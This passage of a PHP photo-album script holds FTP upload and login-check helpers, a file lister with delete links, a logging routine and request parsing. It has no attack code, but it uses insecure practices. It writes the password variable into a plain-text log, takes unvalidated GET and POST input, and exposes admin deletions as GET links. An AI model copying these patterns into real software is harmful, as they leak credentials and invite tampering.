							if(!ftp_put($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry),$tmp,FTP_BINARY)){ftp_close($conn);return "Unable to upload file ".zip_entry_name($zip_entry);}
		           	   }
		           	   zip_entry_close($zip_entry);
		       		}
				}else{
				   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry));
					if(!$result){
						ftp_close($conn);return "Unable to create directory $p_dir on ftp server";
   					}
				}
			}
		}else{
			ftp_close($conn);return "Not a zip file or not supported format!";
		}
	}else{
		ftp_close($conn);return "No ZIP-Support in PHP installed!";
	}
	
	
	$result=ftp_close($conn);
	return "";
}


function ftp_check_login($p_user,$p_pass){
	/*create test file, upload and thest if it comes to the right directory*/
	global $ftp_server,$ftp_server_photos_dir,$album_dir,$cache_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn); return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn); return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.".");
	if(!$result){
		ftp_close($conn); return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	$test=md5(time());
	$f=fopen($cache_dir.".test","w"); fwrite($f,$test); fclose($f);
	
   	if(!ftp_put($conn,".test",$cache_dir.".test",FTP_BINARY)){ftp_close($conn); return "Unable to upload file testfile!";}
	
	$ff=file($album_dir.".test");
	if($ff[0]!=$test){
		ftp_close($conn);
		return "Ftp-server photos directory points to another directory not to the photos";
	}
	$result=ftp_delete($conn,".test");	
	
	$result=ftp_close($conn);
	return "";
	
}
function my_cmp($a,$b){
	if($a['type']==$b['type']){
		if($a['name']==$b['name']) return 0;
		return ($a['name'] < $b['name']) ? -1 : 1;
	}
	if($a['type']=="dir") return -1;
	return 1;
}
function ftp_get_files($actdir){
  global $album_dir;
  $files=Array(); 
  $dir=$album_dir.$actdir;
  if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
       	   $f=Array();
           if( filetype($dir . $file)=="dir" ){
  	      $f['type']="dir";
	   }else{
  	      $f['type']="file";
	   }
	   $f['name']=$file;
	   $f['size']=filesize($dir."/".$file)." B";	
	   if(is_image($file)){
	   	list($width,$height)=getimagesize($dir."/".$file);
	   	$f['image_size']=$width." x ".$height;
	   }
	   if(function_exists('posix_getpwuid')){
	   		$ow=posix_getpwuid(fileowner($dir."/".$file));
	   		$f['owner']=$ow['name'];
	   }else{
	   		$f['owner']=fileowner($dir."/".$file);
	   }
	   if(function_exists('posix_getgrgid')){
		   $gr=posix_getgrgid(filegroup($dir."/".$file));
		   $f['group']=$gr['name'];
	   }else{
	   	   $f['group']=filegroup($dir."/".$file);
	   }
	   $f['time']=date("d.m.Y H:i:s",filectime($dir."/".$file));
	   if($f['type']=="dir" && $f['name']!=".." && $f['name']!="."){
	   	$f['func']="<a class=\"mex\" href=\"main.php?cmd=setup&var1=admin&var2=rmdir&p_dir=".urlencode(conv_out($file))."\">remove_dir</a>";
	   }else if($f['type']=="file"){
	   	$f['func']="<a class=\"mex\" href=\"main.php?cmd=setup&var1=admin&var2=delete&p_file_name=".urlencode(conv_out($file))."\">delete</a>";
	   }


	   $files[]=$f;
	}
       closedir($dh);
    }
  }
	if(is_array($files)) usort($files,"my_cmp");
	return $files;
}
/**********************************************************/
/**************END  FTP Functions *************************/
/**********************************************************/

function write_log(){
global $logs_enabled,$logs_exclude,$cmd,$var1,$logs_filename,$cache_dir,$passwd,$comment_name;
	if($logs_enabled=="true"){
	  $strings=explode(";",$logs_exclude);
	  $found="false";
	  $host=gethostbyaddr($_SERVER['REMOTE_ADDR']);
	  foreach($strings as $num=>$string){
	  	if(strlen($string)>0)
	  		if(strstr($host,$string))$found="true";
	  }
	  if($found=="false"){
	  	$file_log=fopen($cache_dir.$logs_filename,"a");
	  	fwrite($file_log,date("D.M.j G:i:s")."|".$cmd."|".$var1."|".$comment_name."|".$host."|".$passwd."\n");
	  	fclose($file_log);
	  }
	}
}

function generate_theme($var1){
	if($var1=="style_css"){
		theme_get_style_css();
		return;
	}
}

/****************************************/
/*      Start Program v0.               */
/****************************************/

/*ob_start*/
if(isset($_GET['cmd'])){
	$cmd=$_GET['cmd'];
}
if(isset($_GET['var1'])){
	$var1=$_GET['var1'];
}
if(isset($_GET['var2'])){
	$var2=$_GET['var2'];
}
if(isset($_GET['var3'])){
	$var3=$_GET['var3'];
}
if(isset($_GET['var4'])){
	$var4=$_GET['var4'];
}


if(isset($_POST['cmd'])){
	$cmd=$_POST['cmd'];
}
if(isset($_POST['var1'])){
	$var1=$_POST['var1'];
}
if(isset($_POST['var2'])){
	$var2=$_POST['var2'];
}
if(isset($_POST['var3'])){
	$var3=$_POST['var3'];
}
if(isset($_POST['var4'])){
	$var4=$_POST['var4'];
}
$p=$_POST['p'];

if($cmd!="album" &&
$cmd!="phpinfo" &&
$cmd!="thmb" &&
$cmd!="image" &&
$cmd!="imageview" &&
$cmd!="setup" &&
$cmd!="delcache" &&
$cmd!="logo" &&
$cmd!="theme" &&
$cmd!="dir_logo" &&
//$cmd!="system_check" &&
$cmd!="setquality"){

$cmd="album";
}
read_settings();

require($themes_dir."engines/".$site_engine."/engine.php");
require("language.php");
/*if(file_exists($themes_dir.$site_theme."/theme.php")){
	include($themes_dir.$site_theme."/theme.php");
}else{
	include($themes_dir."Flowing_Dark"."/theme.php");
}
*/

theme_initialize();

if($cmd=="setquality"){
	$quality=$var1;
	setcookie("phpAlbum_quality",$quality,time()+60*60*24*365);
	$cmd="album";$var1=$var2;$var2="";$var3="";
}else{
	if(isset($_COOKIE["phpAlbum_quality"])){
		$quality=$_COOKIE["phpAlbum_quality"];
	}else{
	        $quality=$quality_settings[0][6]*0+$quality_settings[1][6]*1+$quality_settings[2][6]*2;
	}
	if($quality_settings[$quality][5]==0){
	        $quality=$quality_settings[0][6]*0+$quality_settings[1][6]*1+$quality_settings[2][6]*2;
		setcookie("phpAlbum_quality",$quality,time()+60*60*24*365);
	}
	if($quality !=